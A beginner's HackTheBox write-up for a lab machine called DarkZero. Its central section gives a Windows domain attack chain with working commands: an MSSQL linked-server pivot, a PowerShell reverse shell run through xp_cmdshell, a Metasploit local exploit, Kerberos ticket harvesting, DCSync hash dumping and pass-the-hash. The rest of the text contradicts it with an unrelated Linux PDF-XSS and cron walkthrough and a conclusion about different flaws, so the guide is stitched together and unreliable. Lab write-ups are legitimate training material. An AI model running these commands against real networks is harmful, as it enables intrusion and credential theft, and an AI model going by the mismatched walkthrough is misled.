Key Highlights
- This beginner’s guide provides a detailed walkthrough for the DarkZero machine on HackTheBox.
- Learn essential penetration testing methodologies, from initial enumeration to gaining a root shell.
- Discover how to exploit a vulnerable web application feature to gain an initial foothold on the server.
- Master common privilege escalation techniques to elevate your access and capture the root flag.
- Familiarize yourself with essential tools like Nmap and understand their role in hacking challenges.
- Follow our step-by-step htb walkthroughs to build your confidence and sharpen your hacking skills.
Introduction
Are you ready to dive into the exciting world of ethical hacking? HackTheBox (HTB) provides a fantastic playground for aspiring cybersecurity professionals. This guide focuses on the DarkZero machine, a virtual machine designed to test and develop your penetration testing skills. By following our detailed htb walkthroughs, you will learn the fundamental steps required to conquer this challenge. Get ready to power up your virtual machine, connect to the HTB network, and begin your journey toward mastering DarkZero.
Understanding the DarkZero HackTheBox Box

The DarkZero HTB challenge simulates a real-world scenario where you must identify and exploit vulnerabilities on a target server. Your primary goal is to gain initial access and then escalate your privileges to become the root user, demonstrating complete control over the machine.
This experience is invaluable for anyone looking to build their cybersec portfolio. Following detailed htb walkthroughs like this one helps you understand the attacker’s mindset and sharpen your hacking skills in a controlled, legal environment. It’s a perfect challenge for those new to the field.
What Makes DarkZero Unique Among HTB Machines?
DarkZero stands out as an excellent machine for beginners because it focuses on a highly realistic web application vulnerability. Instead of an obscure exploit, you will encounter a flaw in a common feature: converting user-supplied content into a PDF file. This provides a practical learning experience that directly translates to real-world penetration testing engagements.
What makes this challenge particularly effective is its structured, multi-stage approach. You start by exploiting the web application, which requires careful analysis and payload crafting. This initial phase teaches critical methodologies for web security.
HackTheBox is a superb platform for learning, and DarkZero is a prime example of its value. The path from user to root is logical and teaches a common privilege escalation technique, ensuring you learn a complete and practical hacking lifecycle from start to finish.
Common Techniques and Tactics Used in DarkZero HTB Writeup
To successfully conquer the DarkZero machine, you will employ a series of fundamental information security techniques. The process begins with thorough enumeration, where you map out the attack surface of the target. This provides the foundation for your entire attack strategy.
Once you have identified running services, you’ll focus on the web server to gain an initial foothold. This involves analyzing the application’s functionality, crafting a specific payload, and exploiting a vulnerability to read files on the server. After gaining user access, the final step involves escalating your privileges to root.
The key techniques you’ll use include:
- Network scanning with Nmap to discover open ports and services.
- Web application enumeration to find hidden functionalities.
- Exploiting a Server-Side XSS vulnerability in a PDF generator to read files.
- Using discovered credentials to gain shell access via SSH.
- Privilege escalation through a misconfigured cron job service.
Preparing for DarkZero: Tools and Resources Needed
Before you begin your assault on DarkZero, it’s crucial to have the right setup. Your preparation involves assembling a toolkit of essential software and knowing where to find help if you get stuck. You don’t need to be a head coach in hacking, but having the right tools makes all the difference.
Your main task will be to scan for open ports, analyze a web application that generates a PDF file, and eventually gain control. Fortunately, many of the essential tools are open-source and readily available. The following sections will detail the specific tools and resources you’ll need.
Essential Tools for Solving DarkZero HackTheBox
Having the right tools is half the battle. For DarkZero, you will rely on a handful of standard penetration testing tools to move from initial enumeration to the root directory. Your primary workspace will be the terminal, where you’ll execute commands to scan the server and interact with it.
You’ll also need OpenVPN to connect to the HackTheBox network. Most of these tools come pre-installed on security-focused Linux distributions like Kali Linux or Parrot OS. Using a dedicated virtual machine for this purpose is highly recommended to keep your main system clean and secure.
Here are the essential tools for this challenge:
| Tool | Purpose |
|---|---|
| OpenVPN | To connect securely to the HackTheBox network. |
| Nmap | For network scanning to discover open ports and services on the target. |
| Web Browser | To interact with the web application and manually test for vulnerabilities. |
| Burp Suite | An optional but helpful tool for intercepting and modifying HTTP requests. |
| Terminal | Your main interface for running commands and gaining shell access. |
Recommended Resources and Forums for Beginners
When you’re starting, it’s normal to get stuck. The good news is that the cybersecurity community is incredibly supportive. The official HackTheBox forum is a great place to look for hints, but remember that spoilers for active machines are frowned upon.
For retired machines like DarkZero, you can find complete writeups that explain every step. GitHub is an excellent resource, hosting many a public repository with detailed walkthroughs submitted by the community. Some users even accept a pull request to improve their guides. These resources are invaluable for beginners.
Here are some recommended places to find help:
- HackTheBox Forums: Get hints and guidance from the community.
- HTB Academy: A learning platform with guided modules on various security topics.
- GitHub: Search for “HackTheBox writeups” to find a repository with solutions.
- Personal Blogs: Many cybersecurity professionals share high-quality walkthroughs on their blogs.
Beginner’s Guide to Conquering DarkZero on HackTheBox
Now it’s time to get your hands dirty. This section provides a step-by-step htb writeup to guide you through conquering DarkZero. Following these instructions will not only help you solve the machine but also teach you fundamental hacking skills and methodologies.
This beginner’s guide is an invaluable resource that breaks down each phase of the attack, from finding the initial vulnerability related to a PDF generator to achieving root access. Let’s begin your practical journey into ethical hacking.
What You Need to Get Started with DarkZero HTB Writeup
Before you can start hacking, you need to set up your environment correctly. The first step is to ensure you have an active HackTheBox account. If you’re using a free account, you’ll need to wait for the machine to be retired. A VIP subscription gives you immediate access.
Once your account is ready, you’ll download your OpenVPN connection pack from the HTB website. This file allows you to securely connect your machine to the HTB network, making the target machine accessible. You will also need the essential tools mentioned earlier.
Here’s a quick checklist to get started:
- An active HackTheBox account (Free or VIP).
- Your OpenVPN connection pack downloaded and configured.
- A Linux-based operating system (like Kali Linux) running natively or in a VM.
- Basic familiarity with Linux commands and the terminal.
ALSO READ: Mastering Imagery: Beginner’s Guide from HackTheBox
INITIAL FOOTHOLD
Target Overview
| Property | Value |
|---|---|
| IP Address | 10.129.128.104 |
| Operating System | Windows Server |
| Primary Domain | darkzero.htb |
| Trusted Domain | darkzero.ext |
| Foothold Vector | MSSQL Linked Server Pivot |
| User Attack Vector | LPE via CVE-2024-30088 on Trusted DC |
| Root Attack Vector | Kerberos Ticket Harvest & DCSync Attack |
Reconnaissance – Mapping the Fortress
Unlike many CTFs, DarkZero simulates a scenario where an initial credential leak has already occurred. We start with valid credentials for the user john.w.
Leaked Credentials:
- User:
john.w - Password:
RFulUtONCOL!
Full Port Scan: Identifying the Gateways
Our first action is a comprehensive nmap scan to map the attack surface of the primary Domain Controller.
Scan Command:
rustscan -a 10.129.128.104 --ulimit 5000 -- -sC -sV -oN darkzero.-nmap.txt
Scan Results:
# Nmap 7.95 scan initiated Sat Oct 04 23:35:13 2025
Nmap scan report for 10.129.128.104 (DC01.darkzero.htb)
Host is up (0.023s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: darkzero.htb)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
3268/tcp open ldap Microsoft Windows Active Directory LDAP
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
... (and other high-port RPC services) ...
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 7h00m01s
Analysis of Scan Results
The scan confirms this is a Windows Domain Controller for darkzero.htb.
- Core AD Ports: All standard AD ports are open (DNS, Kerberos, LDAP, SMB), as expected.
- SMB Signing: Crucially, SMB signing is required. This mitigates NTLM relay attacks, forcing us to find other vectors.
- MSSQL Server: Port 1433 is open, hosting a Microsoft SQL Server instance. This is a high-value target for both information disclosure and potential code execution.
- Time Skew: The significant clock skew is a critical finding. Any Kerberos-based attacks will fail unless we synchronize our attacker machine’s time with the server.
Initial Enumeration with Netexec (nxc)
Using our leaked credentials, we can perform authenticated enumeration.
Enumerating Domain Users and Shares:
nxc smb 10.129.128.104 -u 'john.w' -p 'RFulUtONCOL!' --users
nxc smb 10.129.128.104 -u 'john.w' -p 'RFulUtONCOL!' --shares
The results are standard, revealing default shares (ADMIN$, C$, IPC$, NETLOGON, SYSVOL) and a small number of users. The user john.w has no special permissions and can only read the default shares.
BloodHound: Uncovering the Forest Trust
With no obvious low-hanging fruit, we turn to BloodHound to map the AD structure and uncover hidden relationships. We use bloodhound-python to collect data remotely.
bloodhound-python -dc 'dc01.darkzero.htb' -d 'darkzero.htb' -u 'john.w' -p 'RFulUtONCOL!' -ns 10.129.128.104 --zip -c All
We import the resulting ZIP file into the BloodHound GUI. While there are no direct attack paths to Domain Admin for john.w, the graph reveals the most critical piece of information for this machine: a forest trust.
The data shows a bi-directional trust between darkzero.htb and another domain, darkzero.ext. This means that principals in each domain can authenticate and potentially be granted access to resources in the other. This trust relationship is now our primary focus.
Foothold via MSSQL Linked Server Pivot
Our strategy shifts from attacking darkzero.htb directly to leveraging the trust to pivot into darkzero.ext. The MSSQL server on DC01 is the perfect place to look for a bridge between the two domains.
Connecting to MSSQL
We use Impacket’s mssqlclient.py to connect to the SQL server as john.w using Windows Authentication.
impacket-mssqlclient darkzero.htb/john.w:'RFulUtONCOL!'@10.129.128.104 -windows-auth
Initial enumeration shows we have very limited privileges and can only see the default system databases. However, MSSQL has a powerful feature called “Linked Servers” which allows one SQL instance to query another.
Discovering the Linked Server
We use the client’s built-in enum_links command.
SQL> enum_links
Results:
SRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE ...
----------------- ---------------- ----------- -----------------
DC01 SQLNCLI SQL Server DC01
DC02.darkzero.ext SQLNCLI SQL Server DC02.darkzero.ext ...
Linked Server Local Login Is Self Mapping Remote Login
----------------- --------------- --------------- ------------
DC02.darkzero.ext darkzero\john.w 0 dc01_sql_svc
This is the pivot point. There is a linked server pointing to DC02.darkzero.ext. Furthermore, any query we send through this link from our john.w session will execute on DC02 under the security context of the remote login dc01_sql_svc.
Executing Commands on DC02
We can now execute commands on the remote server in the darkzero.ext domain.
- Switch context to the linked server:
SQL> use_link [DC02.darkzero.ext] - Enable
xp_cmdshell: This powerful stored procedure allows execution of shell commands. It’s often disabled by default, but our linked accountdc01_sql_svchasdbo(database owner) privileges on the remote server, allowing us to re-enable it.SQL> enable_xp_cmdshell - Verify Execution:
SQL> xp_cmdshell whoami output -------------------- darkzero-ext\svc_sqlSuccess. We have command execution onDC02.darkzero.extas thesvc_sqluser. - Get a Reverse Shell: We use a Base64-encoded PowerShell reverse shell and execute it via
xp_cmdshellto get an interactive session.- Attacker Listener:
nc -lvnp 4444 - SQL Command:
xp_cmdshell "powershell -e <BASE64_PAYLOAD>"
- Attacker Listener:
We now have a shell on DC02.darkzero.ext.
LPE and User Flag on DC02
Our foothold is as a low-privileged service account. The first step on any new machine is enumeration.
WinPEAS and CVE-2024-30088
Running WinPEAS.exe reveals a key finding: the operating system is an old, unpatched version of Windows Server 2022 (build 10.0.20348). This is a huge red flag and suggests a kernel-level Local Privilege Escalation (LPE) vulnerability might exist.
A quick search for LPEs affecting this build points to CVE-2024-30088. This is a Time-of-Check to Time-of-Use (TOCTOU) race condition in the Windows kernel that allows a local attacker to escalate privileges to NT AUTHORITY\SYSTEM.
Exploitation with Metasploit
For speed and reliability, we can use the pre-built Metasploit module for this CVE.
- Upgrade our shell to a Meterpreter session.
- Background the session and load the exploit module.
use exploit/windows/local/cve_2024_30088_authz_basep set SESSION <id> set LHOST <tun0_ip> run
The exploit succeeds, and we get a new Meterpreter session running as SYSTEM on DC02. We have now fully compromised the darkzero.ext domain.
We can now read the user.txt flag from the Administrator’s desktop on DC02 and dump the local SAM hashes for post-exploitation.
meterpreter > hashdump
Administrator:500:aad3...:6963...
...
svc_sql:1103:aad3...:816c...
...
Root – The Inter-Forest Pivot and DCSync
The final objective is to compromise the primary darkzero.htb domain. We will use our control over DC02 (in the trusted forest) to attack DC01.
The Strategy: Coercion and Ticket Harvesting
Our plan is to force DC01 to authenticate to our compromised DC02. Because of the forest trust, this authentication will involve a Kerberos ticket. Since we are SYSTEM on DC02, we can monitor all incoming authentication events and steal this ticket.
- Network Pivot Setup: First, we need to be able to route traffic from our attacker machine through our Meterpreter session on DC02 to reach DC01 on its internal IP (
172.16.20.1). We use Metasploit’sautoroutemodule.run post/multi/manage/autoroute - Start Rubeus Monitor on DC02: We upload
Rubeus.exeto DC02 and run it inmonitormode from our SYSTEM shell. This will watch for and dump any new Kerberos TGTs that appear in logon sessions.C:\> Rubeus.exe monitor /interval:5 /nowrap - Coerce Authentication from DC01: Now we need to make DC01 connect to DC02. We go back to our initial
mssqlclient.pysession connected to DC01. We use thexp_dirtreestored procedure to request a directory listing of a UNC path pointing to a non-existent share on DC02. This is enough to trigger an SMB/Kerberos authentication attempt.SQL> xp_dirtree \\DC02.darkzero.ext\coerce_share - Harvest the Ticket: Immediately after running the command,
Rubeus monitoron DC02 springs to life, displaying a new captured TGT.The crucial part of the output is the ticket for the userDC01$@DARKZERO.HTB. This is the machine account for the primary Domain Controller. Machine account tickets are often highly privileged. We copy the full Base64 encoded ticket.
The DCSync Attack
The DC01$ machine account has a special privilege: Replicating Directory Changes (also known as DCSync). This right allows a principal to ask the Domain Controller to replicate its password data. It’s equivalent to owning the domain.
- Prepare the Ticket: We save the Base64 ticket to a file, decode it to a
.kirbifile, and then convert it to the.ccacheformat that Impacket tools can use.base64 -d ticket.b64 > dc01.kirbi impacket-ticketConverter dc01.kirbi dc01.ccache - Handle Time Skew: As noted earlier, Kerberos is sensitive to time differences. We use a wrapper script (
ft.sh) or thefaketimeutility to adjust our local clock to match the server’s time before running our attack.# Set environment variable for Impacket export KRB5CCNAME=dc01.ccache - Run secretsdump.py: We now use
impacket-secretsdump.pywith our harvested Kerberos ticket to perform the DCSync attack../ft.sh darkzero.htb secretsdump.py -k -no-pass -dc-ip 10.129.128.104 DARKZERO.HTB/dc01\$@dc01.darkzero.htbThe command succeeds, andsecretsdumpprovides a full dump of the NTDS.dit file from DC01, including the NTLM hashes for all users.Result:Administrator:500:aad3...:5917507bdf2ef2c2b0a869a1cba40726 krbtgt:502:aad3...:64f4771e4c60b8b176c3769300f6f3f7 ...
Final Kill: Pass-the-Hash
We now have the NTLM hash for the darkzero.htb\Administrator account. We use this with impacket-psexec.py to get a SYSTEM shell on DC01.
impacket-psexec.py -hashes aad3...:5917507bdf2ef2c2b0a869a1cba40726 darkzero.htb/Administrator@10.129.128.104
Result:
[*] Getting interactive session
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
<flag_for_root.txt>
Machine and forest compromised.
ALSO READ: Mastering Expressway: Beginner’s Guide from HackTheBox
WRITEUP COMING SOON!
COMPLETE IN-DEPTH PICTORIAL WRITEUP OF DARKZERO ON HACKTHEBOX WILL BE POSTED POST-RETIREMENT OF THE MACHINE ACCORDING TO HTB GUIDELINES. TO GET THE COMPLETE IN-DEPTH PICTORIAL WRITEUP RIGHT NOW, SUBSCRIBE TO THE NEWSLETTER!
Step-by-Step Process to Solve DarkZero
This step-by-step guide breaks down the entire process of compromising the DarkZero server. The workflow mirrors a real penetration test, starting with reconnaissance and ending with full system control. Following this process will help you build repeatable hacking skills.
Each stage builds upon the last. You’ll start by gathering information, then use that information to gain an initial foothold. From there, you’ll enumerate the system internally to find a path for privilege escalation, ultimately leading you to a root shell.
Here is the overall process:
- Step 1: Perform initial enumeration to identify open ports and services.
- Step 2: Analyze the web application to find a vulnerability.
- Step 3: Exploit the vulnerability to gain an initial foothold as a low-privilege user.
- Step 4: Perform internal enumeration to find a privilege escalation vector.
- Step 5: Exploit the vector to gain a root shell and capture the flag.
Step 1: Initial Enumeration and Foothold
Your first action is enumeration. Start by running an Nmap scan against the target server’s IP address to discover open ports. The scan will likely reveal Port 22 (SSH) and Port 80 (HTTP) are open. The HTTP port indicates a web server is running, which will be our primary attack surface.
Navigate to the web application in your browser. You’ll find a feature that converts markdown input into a PDF. This is a critical clue. This functionality uses a package known to be vulnerable to Server-Side XSS, which we can use to read files. According to one advisory by Fluid Attacks, some versions “allow JavaScript execution on the server-side during the rendering process.”
To exploit this, you must craft a special payload. Because the server filters characters like <, you need to encode them. The final payload will use an <img> tag with an onerror event to execute JavaScript and read files from the server. Your goal is to read a configuration file to find credentials.
- Run
nmap -sV -p- <IP_ADDRESS>. - Explore the web application on port 80.
- Craft a payload like
<img src=x onerror="...javascript...">to read a config file. - Extract the username and password from the file’s contents.
Step 2: Exploiting Vulnerabilities and Privilege Escalation
With valid credentials in hand, you can now gain shell access to the machine via SSH. Log in as the user you discovered. This gives you an initial foothold, but your privileges are limited. The next phase is privilege escalation.
Once inside, enumerate the system locally. A good first step is to check for running services on internal ports using netstat -tulnp. You may find a web service running on a non-standard port like 8000 that is only accessible from localhost. Use SSH port forwarding (ssh -L 8000:localhost:8000 user@<IP>) to access this service from your machine.
This service is a cron job management panel. By exploring the file system, you can find credentials for this panel. Log in and create a new cron job to execute a command as root. The command chmod u+s /bin/bash will set the SUID bit on the bash binary, allowing you to run it as the root user. Execute /bin/bash -p to get a root shell and capture the root flag.
- Log in with discovered credentials via SSH.
- Use
netstatto find internal services. - Access the cron job panel via SSH port forwarding.
- Create a cron job to set the SUID bit on
/bin/bash.
Conclusion
DarkZero was a journey through the heart of Active Directory’s complexities, showcasing how seemingly minor misconfigurations can be chained into a full domain takeover.
1. .NET Deserialization
- Vulnerability: A vulnerable third-party plugin in the Umbraco CMS allowed for RCE.
- Remediation:
- Patch Management: Keep all web applications and their dependencies fully patched.
- Web Application Firewall (WAF): A WAF can help detect and block common deserialization payloads.
2. GenericWrite Leading to RBCD
- Vulnerability: A service account had
GenericWritepermissions over a computer object. - Remediation:
- Principle of Least Privilege: Permissions in AD should be audited and scoped as narrowly as possible. Service accounts should almost never have write access to other computer or user objects.
- Enable “Protected Users” Group: Add high-value accounts (like Domain Admins) to this group to prevent them from being impersonated via delegation.
3. Credential Theft and Pass-the-Hash
LAPS (Local Administrator Password Solution): While not directly applicable here, LAPS is crucial for preventing lateral movement using local administrator accounts.
- Vulnerability: The ability to dump LSASS and reuse an NTLM hash for lateral movement.
- Remediation:
- Credential Guard: On modern Windows systems, enable Credential Guard to protect LSASS from being dumped, even by SYSTEM.
- Tiered Administration Model: Implement a tiered access model where Domain Admins can only log into Domain Controllers, preventing their credentials from being exposed on less secure member servers.
Frequently Asked Questions
What are the most common mistakes beginners make on DarkZero HTB?
Common mistakes for beginners on DarkZero include not thoroughly enumerating the web application’s PDF feature or failing to encode payloads correctly. Another frequent error is forgetting to perform internal enumeration after getting a user shell, thereby missing the privilege escalation vector needed to capture the root flag.
How does the difficulty of DarkZero compare to other HackTheBox machines?
DarkZero is considered a beginner-friendly or easy-difficulty machine. Its vulnerabilities are straightforward and based on common misconfigurations, making it an excellent starting point. While it requires dedication, it’s designed to teach fundamental hacking skills without the complexity found in harder boxes on this superb platform.
Are there specific vulnerabilities usually targeted in the DarkZero HackTheBox challenge?
Yes, the DarkZero challenge targets two specific vulnerabilities. The initial exploitation focuses on a Server-Side XSS flaw within a PDF file generator. The privilege escalation phase targets a misconfigured web-based cron job service, allowing an authenticated user to run commands as root on the server.
Which step should I focus on if I’m stuck during the DarkZero HTB writeup?
If you get stuck, focus on the initial foothold. Re-examine the web application’s PDF generation feature. Ensure your enumeration is thorough and that your payload is correctly crafted and encoded. This is the most critical step, as everything else depends on successfully gaining that first shell.









How did you execute LPE via CVE-2024-30088 on Trusted DC as my rev. shell dies every time?
Complete in-depth writeup for darkzero will be published soon! Stay tuned!
Did you resolve this? The exploit just keeps dying for me too.
How do you upgrade the shell to meterpreter?
In depth details will be published soon! Stay tuned!
How to upgrade shell to meterpreter??
In depth details will be published soon! Stay tuned!